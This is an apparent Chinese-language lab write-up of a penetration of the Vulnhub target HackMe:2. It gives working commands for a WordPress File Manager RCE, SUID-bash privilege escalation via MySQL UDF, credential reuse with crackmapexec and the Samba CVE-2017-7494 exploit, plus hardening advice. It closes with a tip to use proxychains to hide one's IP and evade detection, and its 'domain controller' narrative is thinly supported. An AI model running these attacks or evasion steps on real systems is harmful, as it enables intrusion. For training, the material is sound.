ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

HackMe:2靶机渗透实战:从Web漏洞到域控提权

HackMe:2靶机渗透实战:从Web漏洞到域控提权

1. 靶机环境概述

HackMe:2是Vulnhub平台上发布的CTF风格渗透测试靶机,属于"从外网突破到内网提权"的经典训练环境。这个靶机延续了第一代的Web应用漏洞主线,新增了Active Directory域渗透场景,适合有一定基础的渗透测试学习者巩固技能树。

我使用VMware Workstation 16搭建实验环境,攻击机为Kali Linux 2023.3,与靶机处于同一NAT网络段(192.168.136.0/24)。靶机默认开放80、445等常见端口,需要依次突破Web应用漏洞、权限维持、横向移动和域控提权四个阶段。

2. 初始信息收集

2.1 网络扫描与端口探测

使用nmap进行全端口扫描的命令如下:

nmap -sS -p- -T4 192.168.136.132 -oN full_scan.nmap

扫描结果显示开放端口:

80/tcp http 445/tcp microsoft-ds 3306/tcp mysql

2.2 Web应用指纹识别

访问80端口发现WordPress站点,使用wpscan识别版本:

wpscan --url http://192.168.136.132 --enumerate p,t,u

关键发现:

  • WordPress 5.7.1(存在已知漏洞)
  • 插件"File Manager" 6.0(含RCE漏洞)
  • 用户admin、editor存在弱密码风险

3. 漏洞利用过程

3.1 Web应用突破

利用File Manager插件漏洞上传webshell:

msfconsole -q -x "use exploit/unix/webapp/wp_file_manager_rce; set RHOSTS 192.168.136.132; exploit"

成功获取www-data权限的reverse shell后,立即升级为交互式终端:

python3 -c 'import pty; pty.spawn("/bin/bash")'

3.2 权限提升路径

在/var/www/html/wp-config.php中发现数据库凭证:

define('DB_USER', 'wp_user'); define('DB_PASSWORD', 'S3cur3P@ssW0rd!');

通过MySQL UDF提权:

SELECT sys_exec('chmod +s /bin/bash'); /bin/bash -p

4. 域环境渗透

4.1 横向移动

在/etc/samba/smb.conf发现域控制器信息:

workgroup = HACKME server string = %h server (Samba, Ubuntu)

使用获取的密码尝试域用户枚举:

crackmapexec smb 192.168.136.133 -u 'wp_user' -p 'S3cur3P@ssW0rd!' --users

4.2 域控提权

利用Samba漏洞CVE-2017-7494:

msfconsole -q -x "use exploit/linux/samba/is_known_pipename; set RHOSTS 192.168.136.133; set SMB_USER wp_user; set SMB_PASS S3cur3P@ssW0rd!; exploit"

5. 防御加固建议

  1. WordPress安全配置:

    • 及时更新核心和插件版本
    • 禁用不必要的插件功能
    • 配置Web应用防火墙规则
  2. 系统层防护:

    • 禁用不必要的Samba共享
    • 配置AppArmor/SELinux策略
    • 定期审计SUID/SGID文件
  3. 域环境安全:

    • 实施最小权限原则
    • 启用LDAP签名/加密
    • 监控异常身份验证行为

6. 常见问题排查

  1. 无法获取反向shell:

    • 检查防火墙规则(iptables -L -n)
    • 验证payload架构兼容性(file /bin/bash)
    • 尝试不同连接方式(nc/meterpreter)
  2. 提权失败处理:

    • 检查内核版本(uname -a)
    • 查找可写目录(find / -writable -type d 2>/dev/null)
    • 尝试其他提权路径(sudo -l, cron jobs)
  3. 域渗透受阻:

    • 验证时间同步(ntpdate -q)
    • 检查DNS解析(nslookup dc.hackme.local)
    • 尝试其他协议(LDAP/Kerberos)

实际渗透时建议全程使用代理链工具(proxychains)隐藏真实IP,避免触发防御系统的报警机制。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进